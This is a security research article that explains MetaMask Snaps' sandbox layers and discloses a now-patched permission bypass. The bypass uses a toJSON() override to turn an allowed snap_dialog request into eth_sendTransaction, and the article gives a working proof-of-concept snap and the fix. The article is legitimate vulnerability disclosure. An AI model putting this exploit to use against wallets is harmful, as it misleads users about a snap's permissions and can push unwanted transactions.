MetaMask Snaps: playing in the sand
A deep dig into MetaMask Snaps. We explore safety considerations, environment design, and break down a property spoofing vulnerability in the Snaps sandboxing layer.
Overview
MetaMask snaps are simple modules that extend MetaMask’s functionality. These modules can be written by anyone, and provide useful features that the vanilla wallet doesn’t.
MetaMask provides a sandboxed environment that allows developers to run Snap code safely, without disclosing or tampering with critical information without user permission.
In this article, we’ll explore exactly how the snap execution environment works. We’ll then delve into a unique property spoofing vulnerability we reported in the MetaMask Snaps sandbox.
Sandbox security
In the first part of the article, we’ll describe how the MetaMask sandbox works, and examine what it’s doing to protect the security of Snaps.
Permission-based security
Each snap is built to have only the permissions it needs to hold. These permissions are specified in the snap.manifest.json file and can be critical to security.
Snap security is totally centered around the user, whose decisions can provide dangerous permissions to a malicious snap. MetaMask warns about the risk of each permission.
Here are the critical permissions possible to be given to a snap:
snap_getBip44Entropyandsnap_getBip32Entropy: a malicious snap retrieving a keypair leads to loss of funds.endowment:transaction-insight: a malicious snap getting insights into a transaction before approval can lead to frontrunning attacks.
Snap execution environment
Snaps are executed in a totally sandboxed environment which provides a safe context for executing untrusted code, and separates it from the normal execution flow. To accomplish this, MetaMask uses three layers of security to create this safe environment:
- An isolated iframe
- LavaMoat
- SES (Secure ECMAScript)
Isolated iframe — layer 1
Snaps empower developers to enhance MetaMask’s functionality while maintaining a strong security posture. These modules execute within an iframe environment, ensuring they are isolated and secure. To facilitate this execution, MetaMask takes advantage of an iframe sandboxing mechanism, allowing snaps to operate in a contained context.
The framework: metamask-extension repo
The process of snap execution kicks off within the metamask-extension repository’s metamask-controller.js file. Here’s a glimpse of the relevant code:
// Import snaps-controllers// ...const snapExecutionServiceArgs = { iframeUrl: new URL(process.env.IFRAME_EXECUTION_ENVIRONMENT_URL), messenger: this.controllerMessenger.getRestricted({ name: 'ExecutionService', }), setupSnapProvider: this.setupSnapProvider.bind(this),};
// Define IFRAME_EXECUTION_ENVIRONMENT_URLprocess.env.IFRAME_EXECUTION_ENVIRONMENT_URL = 'https://execution.metamask.io/0.36.1-flask.1/index.html';// ...This code is defining the snapExecutionServiceArgs object, which contains information required for the IframeExecutionService to execute snaps. The IFRAME_EXECUTION_ENVIRONMENT_URL points to the location where the execution environment resides.
Executing snaps: IframeExecutionService in action
Inside the snaps-controller package’s IframeExecutionService.ts file, the IframeExecutionService orchestrates snap execution. Again, here’s a snippet of the relevant code:
// Register message handlers for snap interactionsthis.#messenger.registerActionHandler( `${controllerName}:handleRpcRequest`, async (snapId: string, options: SnapRpcHookArgs) => this.handleRpcRequest(snapId, options),);
// More handlers for executeSnap, terminateSnap, etc.// ...
// Execute a snapasync executeSnap(snapData: SnapExecutionData) { // Initialize job, streams, and environment const { jobId } = await this.initJob(snapData); const { worker, stream } = await this.initEnvStream(jobId); // ...}The IframeExecutionService registers message handlers that facilitate communication between MetaMask and snaps within the iframe. The ${controllerName}:executeSnap handler triggers the snap execution process.
Step-by-step execution: from initialization to iframe creation
protected async initEnvStream(jobId: string): Promise<{ worker: Window; stream: BasePostMessageStream; }> { const iframeWindow = await createWindow(this.iframeUrl.toString(), jobId);
const stream = new WindowPostMessageStream({ name: 'parent', target: 'child', targetWindow: iframeWindow, targetOrigin: '*', });
return { worker: iframeWindow, stream }; }Here the iframe is created via createWindow(), which is defined in the snaps-utils package:
const iframe = document.createElement('iframe'); iframe.setAttribute('id', id); iframe.setAttribute('data-testid', 'snaps-iframe');
if (sandbox) { iframe.setAttribute('sandbox', 'allow-scripts'); } iframe.setAttribute('src', uri); document.body.appendChild(iframe);This enables the iframe to be created with sandbox attributes, ensuring secure execution.
LavaMoat against supply-chain attacks — layer 2
Instances of software supply chain breaches occur when a malicious component infiltrates a developer’s application. Subsequently, attackers exploit the component to extract critical information, such as private access keys. To safeguard against these issues, MetaMask employs a tool called LavaMoat.
Malicious dependencies might utilize built-in modules like fs. Alternatively, they may inject malicious code into the npm package to target global objects, like the window and document. They might also include code that leverages XMLHttpRequest to make unauthorized requests to external servers, enabling the exfiltration of sensitive user information.
In order to prevent this, MetaMask Snaps use a Policy file provided by LavaMoat, that grants the platform API and Globals access to just the essential components. This limits the access to fields of powerful objects to corrupted dependencies.
This is how a Policy file related to the iframes looks:
"@metamask/post-message-stream": { "globals": { "MessageEvent.prototype": true, "WorkerGlobalScope": true, "addEventListener": true, "browser": true, "chrome": true, "location.origin": true, "postMessage": true, "removeEventListener": true }, "packages": { "@metamask/post-message-stream>@metamask/utils": true, "@metamask/post-message-stream>readable-stream": true } }One crucial aspect of the policy, apart from the globals section, is the packages segment. This section permits the @metamask/post-message-stream package to exclusively interact with the @metamask/utils and readable-stream packages. It ensures that interactions with potentially compromised packages are disallowed.
LavaMoat additionally provides protection against prototype pollution attacks, since a malicious extension could use it to tamper with a legitimate function with arbitrary code. To safeguard against this, LavaMoat uses the SES lockdown() function to freeze all JavaScript builtin prototypes.
Secure ECMAScript (SES) sandbox — layer 3
Within the iframe and after the LavaMoat execution, the MetaMask sandbox uses Secure ECMAScript (SES) as a way to set up limits for the snap. Let’s dig into how it works:
SES fundamentals
Lockdown
As the first step of setting up the SES sandbox, MetaMask executes the lockdown() function, which protects JavaScript objects against some attacks, mainly:
- Prototype pollution. Lockdown executes
Object.freeze()against all JavaScript builtin prototypes, preventing these attacks. - Information disclosure. Lockdown removes some sensitive information that can be disclosed by some JavaScript builtin objects, such as the
traceattribute in anErrorobject, which contains the stack trace of the error.
Compartment
Compartments serve as the fundamental security layer within the snap execution environment. Their primary function is to establish a tightly controlled sandboxed execution environment. This is accomplished by manipulating the globalThis object to exclusively accommodate secure functions. Consequently, any code executed within this controlled globalThis context is incapable of tampering with security:
const c = new Compartment();c.globalThis === globalThis; // falsec.globalThis.JSON === JSON; // trueCompartment also changes the behaviour of evaluator functions such as eval() and the Function constructor, so that the evaluated code is also executed within the sandboxed globalThis.
Endowments
While creating a Compartment, it is possible to specify endowments. These endowments constitute objects that become accessible within the Compartment’s globalThis. However, endowments need to be carefully chosen and sanitized since they will be exposed to the untrusted environment.
In addition, SES provides the harden() function, which is mainly used to prevent the endowments from being modified by malicious code executed in a Compartment.
Setting up snaps execution env
When starting a snap, the setup follows these steps:
-
Create endowments based on snap permissions:
BaseSnapExecutor.ts const { endowments, teardown: endowmentTeardown } = createEndowments(snap,ethereum,snapId,_endowments,);In the snap development, the required permissions need to be specified in a snap manifest file. Some of these permissions expose extra functions as endowments in the Compartment.
One clear example is the
endowment:network-accesspermission, which adds thefetch()function to the endowments.All endowments are protected with the
harden()function to prevent possible exploits derived from endowment modification, with two exceptions. -
Create the snap compartment:
BaseSnapExecutor.ts const compartment = new Compartment({...endowments,module: snapModule,exports: snapModule.exports,});Note
moduleandexportsare passed as endowments, but without being hardened. This is intentional, as the snap needs to export functions to be correctly executed. -
Evaluate the snap code inside the compartment:
BaseSnapExecutor.ts await this.executeInSnapContext(snapId, () => {compartment.evaluate(sourceCode);this.registerSnapExports(snapId, snapModule);});According to the documentation, the snap must contain one of the following function exports:
onRpcRequest(),onTransaction(), oronCronjob().
Once the Compartment creates these functions, no matter where they are executed, they will always be evaluated within the sandboxed globalThis environment of that Compartment.
After the evaluation, the function exports are registered and executed later when the respective event is emitted.
Vulnerability research
Possible attacks
While searching for vulnerabilities in snap environments, we enumerated some features that can be broken, and lead to security issues, such as:
- Broken SES container isolation
- Insecure endowments in containers
- Incorrect RPC permission checks
- Insecure snap installation/update
We went through all of these vulnerability assumptions, and found a minor permission bypass bug using insecure endowments.
To understand the exploit, we need to dig into the snap’s RPC interfaces exposed via endowments.
RPC interfaces endowments
Providers limitations
A snap has two interfaces that can be used to communicate with the MetaMask RPC interface: snap and ethereum (EIP-1193). These differ in that each one can only send a subset of the available RPC methods:
export function assertSnapOutboundRequest(args: RequestArguments) { // Disallow any non `wallet_` or `snap_` methods for separation of concerns. assert( String.prototype.startsWith.call(args.method, 'wallet_') || String.prototype.startsWith.call(args.method, 'snap_'), 'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.', ); assert( !BLOCKED_RPC_METHODS.includes(args.method), ethErrors.rpc.methodNotFound({ data: { method: args.method, }, }), ); assertStruct(args, JsonStruct, 'Provided value is not JSON-RPC compatible');}This function is called by the snap RPC provider, so it can only send methods starting with wallet_ or snap_. In addition, there are some blocked RPC methods that immediately throw an error when encountered.
On the other hand, the ethereum provider only blocks methods starting with snap_ and the blocked methods. However, it requires the endowment:ethereum-provider permission in the snap manifest.
Execution flow
Both providers (snap and ethereum) are built outside the SES container with a request() function:
const request = async (args: RequestArguments) => { assertSnapOutboundRequest(args); // or assertEthereumOutboundRequest(args); const sanitizedArgs = getSafeJson(args); this.notify({ method: 'OutboundRequest' }); try { return await withTeardown( originalRequest(sanitizedArgs as unknown as RequestArguments), this as any, ); } finally { this.notify({ method: 'OutboundResponse' }); } };In particular, this function is from the snap provider, but the only thing that changes between this and ethereum is the assert function in the first line.
As we can see in the code, the execution flow follows this pattern:
- Assert that
argsare valid. getSafeJson()to getsanitizedArgs.originalRequest(sanitizedArgs).
Note
originalRequest makes the RPC call to the MetaMask service worker.
Safe JSON exploit
As we dug further into the getSafeJson() function (defined in the @metamask/utils package) we discovered the following code:
export const JsonStruct = coerce(UnsafeJsonStruct, any(), (value) => { assertStruct(value, UnsafeJsonStruct); return JSON.parse( JSON.stringify(value, (propKey, propValue) => { // Strip __proto__ and constructor properties to prevent prototype pollution. if (propKey === '__proto__' || propKey === 'constructor') { return undefined; } return propValue; }), );});The function performs a JSON.parse(JSON.stringify(value)) on the argument sent to getSafeJson(). This specific function is how we found a way to exploit the assertion limitations. The bypass is made by setting a toJSON() function in a legit snap.request() argument:
assertSnapOutboundRequest(args)passes the assertion.sanitizedArgs = getSafeJson(args):toJSON()returns a malicious object.originalRequest(sanitizedArgs)forwards the malicious object.
The assertion bypass can be useful on two occasions:
- Forwarding blocked RPC methods.
- Making requests via
snap.request()that were only supposed to be done viaethereum.request()(withendowment:ethereum-providerenabled).
This particular vulnerability allows the snap to perform Ethereum requests without permissions.
Impact
The bypass we described may be used to mislead the allowed permissions of the snap. This can cause the snap installation confirmation popup not to display the actual permissions of the snap. This exploit allows the snap to unexpectedly propose malicious transactions to the user, which shouldn’t be possible, even with permissions according to the documentation:
Proof of concept
To demonstrate the issue, we created a snap without the endowment:ethereum-provider permission, and used the snap interface to call eth_sendTransaction. According to the documentation, this shouldn’t be possible:
import { OnRpcRequestHandler } from '@metamask/snaps-types';
function jsonExploit(){ let x = [] as any
x.method = "snap_dialog"
x.toJSON = () => { return { method: "eth_requestAccounts", params: [] } }
return snap.request(x)
}
function transactionExploit(){ let x = [] as any
x.method = "snap_dialog"
x.toJSON = () => { return { method: "eth_sendTransaction", params: [{ from: "0xcf26B767586cC5fCF8737dD3FA57de164aF4248d", // change this to your address to: "0xcf26B767586cC5fCF8737dD3FA57de164aF4248d", value: "0x1", }] } }
return snap.request(x);}
export const onRpcRequest: OnRpcRequestHandler = ({ origin, request }) => {
switch (request.method) { case 'json': return jsonExploit(); case 'transaction': return transactionExploit(); default: throw new Error('Method not found.'); }};We set x.method = "snap_dialog" to pass the assertion and set up a toJSON() function to change this method to eth_sendTransaction after.
Mitigation
MetaMask mitigated this issue by asserting the arguments after the getSafeJson() function execution. The patch was introduced in commit 168ff08 with the following changes:
const request = async (args: RequestArguments) => { assertEthereumOutboundRequest(args); const sanitizedArgs = getSafeJson(args); const sanitizedArgs = getSafeJson(args) as RequestArguments; assertEthereumOutboundRequest(sanitizedArgs);Conclusion
This unique property spoofing vulnerability in the Snaps sandboxing implementation illustrates the wide range of control attackers have in JavaScript, which makes designing robust sandbox implementations an extremely complex task.
MetaMask has implemented numerous layers to mitigate potential exploits, and we’re proud to help contribute to making Snaps more secure.


